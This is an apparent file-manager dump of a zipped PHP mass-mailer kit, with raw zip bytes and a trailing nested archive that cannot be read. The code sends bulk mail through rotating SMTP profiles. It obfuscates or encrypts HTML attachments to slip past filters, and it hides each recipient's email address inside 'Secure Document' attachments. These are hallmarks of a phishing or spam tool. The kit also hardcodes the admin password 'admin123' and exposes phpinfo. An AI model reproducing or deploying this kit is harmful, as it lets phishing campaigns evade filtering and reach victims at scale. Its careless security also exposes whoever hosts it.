?????????? ????????? - ??????????????? - /home/agenciai/public_html/cd38d8/php_mailer.zip
???????
PK 9]�[rm��w w test-save.phpnu �[��� <?php require_once 'config.php'; echo "<h3>Testing File Save</h3>"; // Test the getSMTPProfiles function $profiles = getSMTPProfiles(); echo "<pre>Current Profiles: "; print_r($profiles); echo "</pre>"; // Test adding a profile $testProfile = [ 'name' => 'Test Profile', 'host' => 'smtp.test.com', 'port' => 587, 'encryption' => 'tls', 'username' => 'test@test.com', 'password' => 'test123', 'from_email' => 'test@test.com', 'from_name' => 'Test Name' ]; $profiles[] = $testProfile; // Add the test profile // Test the saveSMTPProfiles function $result = saveSMTPProfiles($profiles); echo "<p>Save function was called.</p>"; // Check again $newProfiles = getSMTPProfiles(); echo "<pre>Profiles after save: "; print_r($newProfiles); echo "</pre>"; echo "<p>Check your 'data/smtp-profiles.json' file in File Manager to see if it was updated.</p>"; ?>PK 9]�[��$�I I login.phpnu �[��� <?php session_start(); require_once 'config.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $password = $_POST['password'] ?? ''; if ($password === ADMIN_PASSWORD) { $_SESSION['loggedin'] = true; echo 'success'; } else { echo 'invalid'; } } else { echo 'invalid_request'; } ?>PK 9]�[s�&� � load_phpmailer.phpnu �[��� <?php // load_phpmailer.php - Manual loader for PHPMailer require_once __DIR__ . '/vendor/phpmailer/Exception.php'; require_once __DIR__ . '/vendor/phpmailer/PHPMailer.php'; require_once __DIR__ . '/vendor/phpmailer/SMTP.php'; ?> PK 9]�[�)�l_ _ direct_test_original.htmlnu �[��� <!DOCTYPE html><html><head><title>Test</title></head><body><h1>Test Document</h1></body></html>PK 9]�[(\ phpinfo.phpnu �[��� <?php phpinfo(); ?>PK 9]�[�Y��9 �9 send.phpnu �[��� <?php // Start output buffering ob_start(); // Include required files require_once 'config.php'; require_once 'load_phpmailer.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; // Check if we're requesting progress if (isset($_GET['progress'])) { // Start session only if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } header('Content-Type: application/json'); $progress = isset($_SESSION['email_progress']) ? $_SESSION['email_progress'] : [ 'total' => 0, 'sent' => 0, 'failed' => 0, 'current' => 'Not started', 'status' => 'idle', 'errors' => [] ]; echo json_encode($progress); exit; } // Check if user is logged in if (!isLoggedIn()) { ob_end_clean(); header('Location: index.php?error=Please+login+first'); exit; } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] !== 'POST') { ob_end_clean(); header('Location: index.php?error=Invalid+request'); exit; } // Get form data $to_emails = trim($_POST['to_emails'] ?? ''); $subject = trim($_POST['subject'] ?? ''); $message = trim($_POST['message'] ?? ''); $email_delay = isset($_POST['email_delay']) ? intval($_POST['email_delay']) : 2; // Reduced default delay $enable_unique_tags = isset($_POST['enable_unique_tags']) && $_POST['enable_unique_tags'] == '1'; // Get encryption options from form $html_encryption_method = $_POST['html_encryption_method'] ?? 'none'; $zero_font_message = $_POST['zero_font_message'] ?? ''; $aes_encryption_key = $_POST['aes_encryption_key'] ?? ''; // Get attachment data $custom_filename = trim($_POST['custom_filename'] ?? ''); $custom_content = trim($_POST['custom_content'] ?? ''); $base64_encode = isset($_POST['base64_encode']); $split_content = isset($_POST['split_content']); $reverse_content = isset($_POST['reverse_content']); // Validate required fields if (empty($to_emails) || empty($subject) || empty($message)) { ob_end_clean(); header('Location: index.php?error=Please+fill+all+required+fields'); exit; } // Process email list $email_list = explode("\n", $to_emails); $valid_emails = []; foreach ($email_list as $email) { $email = trim($email); if (!empty($email) && filter_var($email, FILTER_VALIDATE_EMAIL)) { $valid_emails[] = $email; } } // Validate emails if (empty($valid_emails)) { ob_end_clean(); header('Location: index.php?error=No+valid+email+addresses+found'); exit; } if (count($valid_emails) > 2000) { ob_end_clean(); header('Location: index.php?error=Maximum+2000+emails+allowed'); exit; } // Get SMTP profile $smtpProfile = getSelectedSMTPProfile(); if (!$smtpProfile) { ob_end_clean(); header('Location: index.php?error=No+SMTP+profile+configured'); exit; } // Process attachment if provided $attachment_data = null; $attachment_filename = null; $attachment_is_html = false; $attachment_mime_type = 'application/octet-stream'; if (!empty($_FILES['attachment']['tmp_name']) && $_FILES['attachment']['error'] === UPLOAD_ERR_OK) { try { // Check file size (max 10MB for large volumes) if ($_FILES['attachment']['size'] > 10 * 1024 * 1024) { throw new Exception('File size exceeds 10MB limit for bulk sending'); } // Read file content $file_content = file_get_contents($_FILES['attachment']['tmp_name']); if ($file_content === false) { throw new Exception('Failed to read file content'); } // Check if file is HTML for encryption $file_info = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($file_info, $_FILES['attachment']['tmp_name']); finfo_close($file_info); $attachment_is_html = (strpos($mime_type, 'html') !== false || strpos($_FILES['attachment']['name'], '.html') !== false || strpos($_FILES['attachment']['name'], '.htm') !== false); // Set appropriate MIME type if ($attachment_is_html) { $attachment_mime_type = 'text/html'; } elseif (strpos($_FILES['attachment']['name'], '.txt') !== false) { $attachment_mime_type = 'text/plain'; } elseif (strpos($_FILES['attachment']['name'], '.pdf') !== false) { $attachment_mime_type = 'application/pdf'; } // Add custom content if provided if (!empty($custom_content)) { $file_content .= "\n\n" . $custom_content; } // Apply basic obfuscation for non-HTML files if enabled if ($base64_encode) { $file_content = base64_encode($file_content); } if ($split_content) { $file_content = chunk_split($file_content, 76, "\n"); } if ($reverse_content) { $file_content = strrev($file_content); } $attachment_data = $file_content; // Determine filename if (!empty($custom_filename)) { $attachment_filename = $custom_filename; } else { $attachment_filename = $_FILES['attachment']['name']; } } catch (Exception $e) { ob_end_clean(); header('Location: index.php?error=' . urlencode('Attachment error: ' . $e->getMessage())); exit; } } // Initialize progress tracking if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress'] = [ 'total' => count($valid_emails), 'sent' => 0, 'failed' => 0, 'current' => 'Starting...', 'status' => 'processing', 'errors' => [], 'start_time' => time() ]; session_write_close(); // Pre-process common email components to save resources $preprocessed_subject = $subject; $preprocessed_message = $message; // Send emails $success_count = 0; $error_count = 0; $error_messages = []; $batch_size = 50; // Process in batches to prevent memory overload $batch_count = ceil(count($valid_emails) / $batch_size); for ($batch = 0; $batch < $batch_count; $batch++) { $batch_emails = array_slice($valid_emails, $batch * $batch_size, $batch_size); foreach ($batch_emails as $index => $to_email) { // Check if sending was cancelled if (session_status() === PHP_SESSION_NONE) { session_start(); } if (isset($_SESSION['sending_cancelled']) && $_SESSION['sending_cancelled']) { session_write_close(); break 2; // Break out of both loops } session_write_close(); try { // Update progress if (session_status() === PHP_SESSION_NONE) { session_start(); } $global_index = ($batch * $batch_size) + $index; $_SESSION['email_progress']['current'] = "Sending to $to_email (" . ($global_index + 1) . "/" . count($valid_emails) . ")"; session_write_close(); // Create PHPMailer instance $mail = new PHPMailer(true); // Configure SMTP with shorter timeouts for bulk sending $mail->isSMTP(); $mail->Host = $smtpProfile['host']; $mail->SMTPAuth = true; $mail->Username = $smtpProfile['username']; $mail->Password = $smtpProfile['password']; $mail->SMTPSecure = $smtpProfile['encryption']; $mail->Port = $smtpProfile['port']; $mail->CharSet = 'UTF-8'; $mail->Timeout = 15; // Reduced timeout $mail->SMTPKeepAlive = true; // Keep connection alive for batch // Set From address $mail->setFrom($smtpProfile['from_email'], $smtpProfile['from_name']); // Add recipient and extract username $username = extractUsernameFromEmail($to_email); $mail->addAddress($to_email, $username); // Process subject with tags $processed_subject = processMessageWithTags($preprocessed_subject, $to_email, $username); // Email content $mail->isHTML(true); $mail->Subject = $processed_subject; // Personalize message with all available tags $personalized_message = processMessageWithTags($preprocessed_message, $to_email, $username); $mail->Body = $personalized_message; $mail->AltBody = strip_tags($personalized_message); // Add attachment if provided if ($attachment_data !== null) { // Create a copy of attachment data for this specific email $email_attachment_data = $attachment_data; // Process HTML encryption for this specific email if needed if ($attachment_is_html && $html_encryption_method !== 'none') { $encryption_options = [ 'advanced_obfuscate' => ($html_encryption_method === 'advanced'), 'zero_font_html' => ($html_encryption_method === 'zerowidth'), 'zero_font_message' => $zero_font_message, 'aes_html' => ($html_encryption_method === 'aes'), 'aes_key' => $aes_encryption_key, 'obfuscate_html' => ($html_encryption_method === 'obfuscate'), 'base64_html' => ($html_encryption_method === 'base64'), 'base64_split' => $split_content, 'base64_reverse' => $reverse_content ]; // For advanced obfuscation, we need to pass the email if ($html_encryption_method === 'advanced') { $email_attachment_data = processHTMLContent($email_attachment_data, $encryption_options, $to_email); } else { $email_attachment_data = processHTMLContent($email_attachment_data, $encryption_options); } } // Process unique email tags if enabled if ($enable_unique_tags) { // Replace {{unique_email}} with the actual email address $email_attachment_data = str_replace('{{unique_email}}', $to_email, $email_attachment_data); // Also replace any other email-related tags $email_attachment_data = processMessageWithTags($email_attachment_data, $to_email, $username); } // Process filename with tags $processed_filename = processMessageWithTags($attachment_filename, $to_email, $username); $mail->addStringAttachment($email_attachment_data, $processed_filename, 'base64', $attachment_mime_type); } // Send email if ($mail->send()) { $success_count++; if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['sent'] = $success_count; session_write_close(); logSentEmail($to_email, $subject, 'success'); } else { throw new Exception('Send failed: ' . $mail->ErrorInfo); } // Add delay if ($email_delay > 0 && $global_index < count($valid_emails) - 1) { if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['current'] = "Waiting $email_delay seconds..."; session_write_close(); sleep($email_delay); } // Close connection after each email to free resources $mail->smtpClose(); } catch (Exception $e) { $error_count++; $error_message = "Failed to send to $to_email: " . $e->getMessage(); $error_messages[] = $error_message; if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['failed'] = $error_count; $_SESSION['email_progress']['errors'][] = $error_message; session_write_close(); logSentEmail($to_email, $subject, 'failed', $error_message); // Close connection on error too if (isset($mail)) { $mail->smtpClose(); } } // Clear variables to free memory unset($mail); // Force garbage collection every 25 emails if ($global_index % 25 === 0) { gc_collect_cycles(); } } // Add a longer pause between batches if ($batch < $batch_count - 1) { if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['current'] = "Taking a brief pause between batches..."; session_write_close(); sleep(5); // 5-second pause between batches } } // Finalize progress if (session_status() === PHP_SESSION_NONE) { session_start(); } $_SESSION['email_progress']['status'] = 'completed'; $_SESSION['email_progress']['current'] = "Completed: $success_count sent, $error_count failed"; // Calculate total time $end_time = time(); $total_time = $end_time - $_SESSION['email_progress']['start_time']; $time_message = " Total time: " . gmdate("H:i:s", $total_time); // Prepare result message if ($success_count > 0 && $error_count === 0) { $message = "Successfully sent $success_count email(s)!" . $time_message; $redirect_param = 'success'; } else if ($success_count > 0 && $error_count > 0) { $message = "Sent $success_count email(s) successfully, $error_count failed" . $time_message; $redirect_param = 'warning'; } else { $message = "Failed to send all $error_count email(s)" . $time_message; $redirect_param = 'error'; } // Add error details if ($error_count > 0 && count($error_messages) <= 5) { $message .= ": " . implode("; ", array_slice($error_messages, 0, 5)); } else if ($error_count > 0) { $error_log_file = __DIR__ . '/data/send-errors-' . date('Y-m-d-H-i-s') . '.txt'; file_put_contents($error_log_file, implode("\n", $error_messages)); $message .= ". First 5 errors: " . implode("; ", array_slice($error_messages, 0, 5)); $message .= ". All errors saved to log file."; } // Redirect with result ob_end_clean(); header('Location: index.php?' . $redirect_param . '=' . urlencode($message)); exit;PK 9]�[W��8�a �a config.phpnu "�] � <?php /** * PHP Mailer Configuration - Simplified Version */ // Enable error reporting ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); // Start session only if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Add this function to your config.php file function generateUniqueEmailTag($email) { $randomSuffix = rand(1000, 9999); return '{{email' . $randomSuffix . '}}'; } /** * Advanced HTML Obfuscation with hidden email pattern */ function obfuscateHTMLWithEmailPattern($html, $email) { // If the HTML already contains a body, inject our content into it if (strpos($html, '</body>') !== false) { // Generate random markers $randomNumber1 = rand(100000, 999999); $randomNumber2 = rand(100000, 999999); // Encode email in hex and split into chunks $emailHex = bin2hex($email); $emailChunks = str_split($emailHex, 24); $hiddenChunks = []; foreach ($emailChunks as $chunk) { $hiddenChunks[] = chunk_split($chunk, 4, '__'); } // Create hidden spans with obfuscated content $hiddenSpans = ''; foreach ($hiddenChunks as $chunk) { $hiddenSpans .= '<span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! ' . $chunk . '></span>'; } // Create the obfuscation script and elements $obfuscationCode = '<!-- [' . $randomNumber1 . 'randomnumber' . $randomNumber2 . '] --> <div style="display: none;"> ' . $hiddenSpans . ' </div> <script> function extractEmailFromHTML() { var hiddenSpans = document.querySelectorAll(\'span[style*="display: none"]\'); var hexData = ""; for (var i = 0; i < hiddenSpans.length; i++) { var content = hiddenSpans[i].textContent; if (content && content.trim() !== "") { // Extract the hex data from the comment var match = content.match(/<! ([a-f0-9_]+)/); if (match && match[1]) { hexData += match[1].replace(/__/g, ""); } } } // Convert hex to string var email = ""; for (var j = 0; j < hexData.length; j += 2) { email += String.fromCharCode(parseInt(hexData.substr(j, 2), 16)); } // Use the email as needed console.log("Extracted email:", email); // You can now use the email value for whatever purpose return email; } // Auto-extract on page load window.addEventListener(\'load\', function() { var extractedEmail = extractEmailFromHTML(); if (extractedEmail) { console.log("Email extracted on load:", extractedEmail); } }); </script>'; // Inject the obfuscation code before the closing body tag $html = str_replace('</body>', $obfuscationCode . '</body>', $html); } else { // If no body tag, use the full template approach $randomNumber1 = rand(100000, 999999); $randomNumber2 = rand(100000, 999999); $randomNumber3 = rand(100000, 999999); $randomString1 = generateRandomString(10); $randomString2 = generateRandomString(10); $randomString3 = generateRandomString(10); // Encode email in hex and split into chunks $emailHex = bin2hex($email); $emailChunks = str_split($emailHex, 24); $hiddenChunks = []; foreach ($emailChunks as $chunk) { $hiddenChunks[] = chunk_split($chunk, 4, '__'); } // Create hidden spans with obfuscated content $hiddenSpans = ''; foreach ($hiddenChunks as $chunk) { $hiddenSpans .= '<span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! ' . $chunk . '></span>'; } // Create the HTML template with obfuscation $html = '<!DOCTYPE html><!-- [' . $randomNumber1 . 'randomnumber' . $randomNumber2 . '] --><html> <head> <title>Secure Document</title> </head> <body onload="extractEmailFromHTML()"> <h2>📁 <!-- [' . $randomString1 . 'randomstring' . $randomString2 . '] -->' . $hiddenSpans . 'E' . $hiddenSpans . '<!-- [' . $randomNumber3 . 'randomnumber' . $randomNumber3 . '] --><!-- [' . $randomString3 . 'randomstring' . $randomString3 . '] -->' . $hiddenSpans . 'x' . $hiddenSpans . '<!-- [' . rand(100000, 999999) . 'randomnumber' . rand(100000, 999999) . '] --><!-- [' . generateRandomString(10) . 'randomstring' . generateRandomString(10) . '] -->' . $hiddenSpans . 't' . $hiddenSpans . '<!-- [' . rand(100000, 999999) . 'randomnumber' . rand(100000, 999999) . '] --><!-- [' . generateRandomString(10) . 'randomstring' . generateRandomString(10) . '] -->.<!-- [' . rand(100000, 999999) . 'randomnumber' . rand(100000, 999999) . '] --><!-- [' . generateRandomString(10) . 'randomstring' . generateRandomString(10) . '] -->.<!-- [' . rand(100000, 999999) . 'randomnumber' . rand(100000, 999999) . '] --><!-- [' . generateRandomString(10) . 'randomstring' . generateRandomString(10) . '] -->.<!-- [' . rand(100000, 999999) . 'randomnumber' . rand(100000, 999999) . '] --></h2> <div style="width:100%;height:20px;background:#f0f0f0;"> <div id="progress" style="width:0%;height:100%;background:blue;"></div> </div> <script> function extractEmailFromHTML() { var hiddenSpans = document.querySelectorAll(\'span[style*="display: none"]\'); var hexData = ""; for (var i = 0; i < hiddenSpans.length; i++) { var content = hiddenSpans[i].textContent; if (content && content.trim() !== "") { // Extract the hex data from the comment var match = content.match(/<! ([a-f0-9_]+)/); if (match && match[1]) { hexData += match[1].replace(/__/g, ""); } } } // Convert hex to string var email = ""; for (var j = 0; j < hexData.length; j += 2) { email += String.fromCharCode(parseInt(hexData.substr(j, 2), 16)); } // Use the email as needed console.log("Extracted email:", email); document.getElementById("progress").style.width = "100%"; // You can now use the email value for whatever purpose alert("Your email: " + email); } </script> </body> </html>'; } return $html; } /** * Alternative simpler HTML obfuscation */ function simpleHTMLObfuscation($html, $email) { // Convert email to character codes $emailEncoded = ''; for ($i = 0; $i < strlen($email); $i++) { $emailEncoded .= '&#' . ord($email[$i]) . ';'; } // Simple obfuscation with random elements $obfuscatedHTML = '<!DOCTYPE html> <html> <head> <title>Secure Document</title> <style> .hidden-email { display: none; height: 0; width: 0; opacity: 0; overflow: hidden; } </style> </head> <body> <div class="hidden-email">' . $emailEncoded . '</div> <h2>Your Secure Document</h2> <p>This document contains securely embedded information.</p> <script> function decodeEmail() { var hiddenElement = document.querySelector(".hidden-email"); if (hiddenElement) { var encoded = hiddenElement.textContent; var decoded = ""; var pattern = /&#(\d+);/g; var match; while (match = pattern.exec(encoded)) { decoded += String.fromCharCode(match[1]); } console.log("Decoded email:", decoded); return decoded; } return ""; } // Auto-decode on page load window.onload = function() { var email = decodeEmail(); if (email) { alert("Your email: " + email); } }; </script> </body> </html>'; return $obfuscatedHTML; } /** * Zero-width character obfuscation */ function zeroWidthObfuscation($html, $email) { $zeroWidthEncoded = convertToZeroWidth($email); $obfuscatedHTML = '<!DOCTYPE html> <html> <head> <title>Secure Document</title> </head> <body> <h2>Secure Content</h2> <p>This document contains hidden information.</p> <span id="hiddenData" style="display: none;">' . $zeroWidthEncoded . '</span> <script> function decodeZeroWidth() { var hiddenSpan = document.getElementById("hiddenData"); if (hiddenSpan) { var zeroText = hiddenSpan.textContent; var binary = ""; for (var i = 0; i < zeroText.length; i++) { if (zeroText[i] === "\\u200B") binary += "0"; else if (zeroText[i] === "\\u200C") binary += "1"; } var message = ""; for (var i = 0; i < binary.length; i += 8) { var byte = binary.substr(i, 8); if (byte.length === 8) { message += String.fromCharCode(parseInt(byte, 2)); } } console.log("Decoded message:", message); return message; } return ""; } window.onload = function() { var decoded = decodeZeroWidth(); if (decoded) { alert("Decoded: " + decoded); } }; </script> </body> </html>'; return $obfuscatedHTML; } // Add this function to process the attachment content function processAttachmentWithUniqueTags($content, $email, $uniqueTag) { // Replace the unique tag with the actual email return str_replace($uniqueTag, $email, $content); } // Application Configuration define('ADMIN_PASSWORD', 'admin123'); define('SMTP_DATA_FILE', __DIR__ . '/data/smtp-profiles.json'); define('SENT_LOGS_FILE', __DIR__ . '/data/sent-emails.json'); // Ensure data directory exists if (!file_exists(dirname(SMTP_DATA_FILE))) { mkdir(dirname(SMTP_DATA_FILE), 0755, true); file_put_contents(dirname(SMTP_DATA_FILE) . '/index.html', '<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><p>Directory access is forbidden.</p></body></html>'); } /** * Check if user is logged in */ function isLoggedIn() { return !empty($_SESSION['loggedin']); } /** * Require login */ function requireLogin() { if (!isLoggedIn()) { header('Location: index.php?error=Please+login+first'); exit(); } } /** * Get SMTP profiles */ function getSMTPProfiles() { if (!file_exists(SMTP_DATA_FILE)) return []; $json = file_get_contents(SMTP_DATA_FILE); return json_decode($json, true) ?: []; } /** * Get sent email logs */ function getSentLogs() { if (!file_exists(SENT_LOGS_FILE)) return []; $json = file_get_contents(SENT_LOGS_FILE); return json_decode($json, true) ?: []; } /** * Log sent email */ function logSentEmail($to, $subject, $status, $error = '') { $logs = getSentLogs(); $logs[] = [ 'timestamp' => date('Y-m-d H:i:s'), 'to' => $to, 'subject' => $subject, 'status' => $status, 'error' => $error ]; // Keep last 1000 logs if (count($logs) > 1000) $logs = array_slice($logs, -1000); return file_put_contents(SENT_LOGS_FILE, json_encode($logs, JSON_PRETTY_PRINT)); } /** * Get SMTP profile with intelligent rotation and error tracking */ function getSelectedSMTPProfile() { $profiles = getSMTPProfiles(); if (empty($profiles)) return null; // Start session to track rotation and errors if (session_status() === PHP_SESSION_NONE) { session_start(); } // Initialize session variables if (!isset($_SESSION['smtp_rotation_index'])) { $_SESSION['smtp_rotation_index'] = 0; } if (!isset($_SESSION['smtp_error_count'])) { $_SESSION['smtp_error_count'] = array_fill(0, count($profiles), 0); } if (!isset($_SESSION['smtp_last_used'])) { $_SESSION['smtp_last_used'] = time(); } $totalProfiles = count($profiles); $attempts = 0; // Try to find a working profile (max attempts = number of profiles) while ($attempts < $totalProfiles) { $currentIndex = $_SESSION['smtp_rotation_index']; $profile = $profiles[$currentIndex]; // Skip profiles with too many recent errors (more than 3 errors in last hour) $errorThreshold = time() - 3600; // 1 hour if ($_SESSION['smtp_error_count'][$currentIndex] > 3) { // Move to next profile $_SESSION['smtp_rotation_index'] = ($currentIndex + 1) % $totalProfiles; $attempts++; continue; } // Use this profile $_SESSION['smtp_rotation_index'] = ($currentIndex + 1) % $totalProfiles; $_SESSION['smtp_last_used'] = time(); return $profile; } // If all profiles have errors, reset and use first one $_SESSION['smtp_error_count'] = array_fill(0, $totalProfiles, 0); $_SESSION['smtp_rotation_index'] = 0; return $profiles[0]; } /** * Track SMTP errors for rotation logic */ function trackSMTPError($profileIndex) { if (session_status() === PHP_SESSION_NONE) { session_start(); } if (!isset($_SESSION['smtp_error_count'])) { $_SESSION['smtp_error_count'] = array(); } if (!isset($_SESSION['smtp_error_count'][$profileIndex])) { $_SESSION['smtp_error_count'][$profileIndex] = 0; } $_SESSION['smtp_error_count'][$profileIndex]++; } /** * Extract username from email */ function extractUsernameFromEmail($email) { $at_pos = strpos($email, '@'); if ($at_pos === false) return 'User'; $username = substr($email, 0, $at_pos); $username = preg_replace('/[^a-zA-Z0-9]/', ' ', $username); return trim(ucwords(strtolower($username))) ?: 'User'; } // ==================== DYNAMIC TAG FUNCTIONS ==================== /** * Extract domain from email */ function extractDomainFromEmail($email) { if (empty($email) || strpos($email, '@') === false) { return ''; } $parts = explode('@', $email); return count($parts) === 2 ? $parts[1] : ''; } /** * Extract company name from email */ function extractCompanyFromEmail($email) { $domain = extractDomainFromEmail($email); if (empty($domain)) { return ''; } // Remove TLD and get company name $company = preg_replace('/\.[a-z]{2,3}$/i', '', $domain); return ucfirst($company); } /** * Generate random string */ function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomString = ''; $max = strlen($characters) - 1; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $max)]; } return $randomString; } /** * Generate random number */ function generateRandomNumber($min = 1000, $max = 9999) { return rand($min, $max); } /** * Process message with dynamic tags */ function processMessageWithTags($message, $email, $username) { if (empty($message)) { return ''; } $domain = extractDomainFromEmail($email); $company = extractCompanyFromEmail($email); $replacements = [ '{{email}}' => $email, '{{name}}' => $username, '{{username}}' => $username, '{{domain}}' => $domain, '{{company}}' => $company, '{{date}}' => date('Y-m-d'), '{{time}}' => date('H:i:s'), '{{datetime}}' => date('Y-m-d H:i:s'), '{{random_number}}' => (string) generateRandomNumber(), '{{random_string}}' => generateRandomString(8), '{{random_number_6}}' => (string) generateRandomNumber(100000, 999999), '{{random_string_12}}' => generateRandomString(12), ]; return str_replace(array_keys($replacements), array_values($replacements), $message); } // ==================== ENCRYPTION FUNCTIONS ==================== /** * Convert text to zero-width characters */ function convertToZeroWidth($text) { $result = ''; $zero_chars = ["\u{200B}", "\u{200C}"]; // 0 and 1 for ($i = 0; $i < strlen($text); $i++) { $binary = str_pad(decbin(ord($text[$i])), 8, '0', STR_PAD_LEFT); for ($j = 0; $j < 8; $j++) { $result .= $zero_chars[$binary[$j] == '1' ? 1 : 0]; } $result .= "\u{200D}"; // Character separator } return $result; } /** * Create zero font structure */ function createZeroFontStructure($hidden_content) { return ' <!-- Zero Font Protection --> <style> .zero-font-container { display: inline-block; padding: 5px; background: #f8f9fa; border: 1px dashed #dee2e6; border-radius: 3px; margin: 2px; font-size: 12px; color: #6c757d; cursor: pointer; } .zero-font-container:hover { background: #e9ecef; border-color: #007bff; } </style> <span class="zero-font-container" onclick="revealZeroContent(this)"> 📋 Copy to reveal <span style="display:none;">' . $hidden_content . '</span> </span> <script> function revealZeroContent(element) { const hiddenSpan = element.querySelector("span"); const zeroText = hiddenSpan.textContent; let binary = ""; for (let i = 0; i < zeroText.length; i++) { if (zeroText[i] === "\\u200B") binary += "0"; else if (zeroText[i] === "\\u200C") binary += "1"; } let message = ""; for (let i = 0; i < binary.length; i += 8) { const byte = binary.substr(i, 8); if (byte.length === 8) { message += String.fromCharCode(parseInt(byte, 2)); } } const textarea = document.createElement("textarea"); textarea.value = message; document.body.appendChild(textarea); textarea.select(); try { document.execCommand("copy"); alert("Hidden message copied to clipboard!"); } catch (err) { alert("Copy failed: " + err); } document.body.removeChild(textarea); } </script> <!-- End Zero Font -->'; } /** * Zero Font Encryption - Simple version */ function applyZeroFontEncryption($html, $hidden_message = '') { if (empty($hidden_message)) { $hidden_message = 'Protected by zero font encryption'; } // Convert message to zero-width characters $zero_content = convertToZeroWidth($hidden_message); // Add zero font structure $zero_font_html = createZeroFontStructure($zero_content); // Inject into HTML if (strpos($html, '</body>') !== false) { return str_replace('</body>', $zero_font_html . '</body>', $html); } return $html . $zero_font_html; } /** * Encrypt content with AES-256-CBC */ function encryptAES($data, $key) { if (empty($key)) { $key = bin2hex(random_bytes(16)); // Generate random key if none provided } // Ensure key is 32 bytes for AES-256 $key = str_pad(substr($key, 0, 32), 32, "\0"); $iv = random_bytes(16); $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv); if ($encrypted === false) { throw new Exception('AES encryption failed: ' . openssl_error_string()); } return base64_encode($iv . $encrypted); } /** * Process HTML content with selected encryption */ function processHTMLContent($html, $options, $email = '') { // DEBUG: Log what options we received error_log("processHTMLContent called with options: " . print_r($options, true)); error_log("Email parameter: " . $email); // Apply advanced obfuscation if enabled if (!empty($options['advanced_obfuscate']) && !empty($email)) { error_log("Attempting to apply advanced obfuscation for email: " . $email); // Check if the function exists and is callable if (function_exists('obfuscateHTMLWithEmailPattern')) { error_log("obfuscateHTMLWithEmailPattern function exists"); $html = obfuscateHTMLWithEmailPattern($html, $email); error_log("Advanced obfuscation completed. New HTML size: " . strlen($html) . " bytes"); } else { error_log("ERROR: obfuscateHTMLWithEmailPattern function does not exist!"); } } // Apply simple obfuscation if enabled if (!empty($options['obfuscate_html'])) { error_log("Applying basic obfuscation"); $html = obfuscateHTML($html); } // Apply zero font encryption if enabled if (!empty($options['zero_font_html']) && !empty($options['zero_font_message'])) { error_log("Applying zero font encryption"); $html = applyZeroFontEncryption($html, $options['zero_font_message']); } // Apply Base64 encoding if enabled if (!empty($options['base64_html'])) { error_log("Applying Base64 encoding"); $html = base64_encode($html); // Apply additional Base64 transformations if enabled if (!empty($options['base64_split'])) { $html = chunk_split($html, 76, "\n"); } if (!empty($options['base64_reverse'])) { $html = strrev($html); } } // Apply AES encryption if enabled if (!empty($options['aes_html'])) { error_log("Applying AES encryption"); $key = $options['aes_key'] ?? ''; $html = encryptAES($html, $key); } error_log("processHTMLContent completed. Final size: " . strlen($html) . " bytes"); return $html; } // Check if advanced obfuscation function exists if (!function_exists('obfuscateHTMLWithEmailPattern')) { error_log("CRITICAL: obfuscateHTMLWithEmailPattern function is missing!"); // Let's define it if it's missing function obfuscateHTMLWithEmailPattern($html, $email) { error_log("Simple obfuscateHTMLWithEmailPattern called for email: " . $email); // Generate random markers $randomNumber1 = rand(100000, 999999); $randomNumber2 = rand(100000, 999999); // Simple implementation - just add a hidden div with the email $obfuscationCode = '<!-- Advanced Obfuscation --> <div style="display: none;"> <span data-email="' . bin2hex($email) . '"></span> </div> <script> function extractEmailFromHTML() { var span = document.querySelector(\'span[data-email]\'); if (span) { var hexEmail = span.getAttribute(\'data-email\'); var email = ""; for (var i = 0; i < hexEmail.length; i += 2) { email += String.fromCharCode(parseInt(hexEmail.substr(i, 2), 16)); } console.log("Extracted email:", email); return email; } return ""; } window.addEventListener(\'load\', function() { extractEmailFromHTML(); }); </script>'; // Inject before closing body tag or at the end if no body tag if (strpos($html, '</body>') !== false) { return str_replace('</body>', $obfuscationCode . '</body>', $html); } else { return $html . $obfuscationCode; } } error_log("Simple version of obfuscateHTMLWithEmailPattern has been defined"); } /** * Obfuscate HTML content (makes it harder to read but still executable) */ function obfuscateHTML($html) { // Only obfuscate text content, not HTML tags return preg_replace_callback( '/(>)([^<]+)(<)/', function($matches) { $text = $matches[2]; $obfuscated = ''; for ($i = 0; $i < strlen($text); $i++) { $obfuscated .= '&#x' . dechex(ord($text[$i])) . ';'; } return $matches[1] . $obfuscated . $matches[3]; }, $html ); } ?>PK 9]�[��RiP P logout.phpnu �[��� <?php session_start(); session_unset(); session_destroy(); echo 'logged_out'; ?>PK 9]�[��H�� � data/data/tiff_694d8384a0cbb.zipnu �[��� PK 4|�[]�ܦ� � b_694d8384a0cbb.tmp�U�s�H�W�(ʂ³��g�k��k\�C��C����&��۷g@���Ϊy�_��i�>^>/�BM��\�saD0f0�@|���*�'�����K���`�钢��%�Lw�d��bKXMw��SЖ4�j�a>��8�~�f��*�nN��D7t��mw��.�٪oi>'V*���D ��W*A4v��� 3�$�%�H-ש����0�f��`�d��Q��^��)pB��P��?a���5RMl�l�9I���""g�N����_��9��+���w�������Ҟ~;]}�>^[��^��h��։��7�����ӛw#��>�"�D�������6=����3�S���2\L!B ����$~ϔ��EL\� ��]#���+�n���e�Z3�=�5�_HSU�p(&�&�J �l�7wu�p/�O�y'���o�d��,��ݳ�����M��(H�ʴ�T�&�b 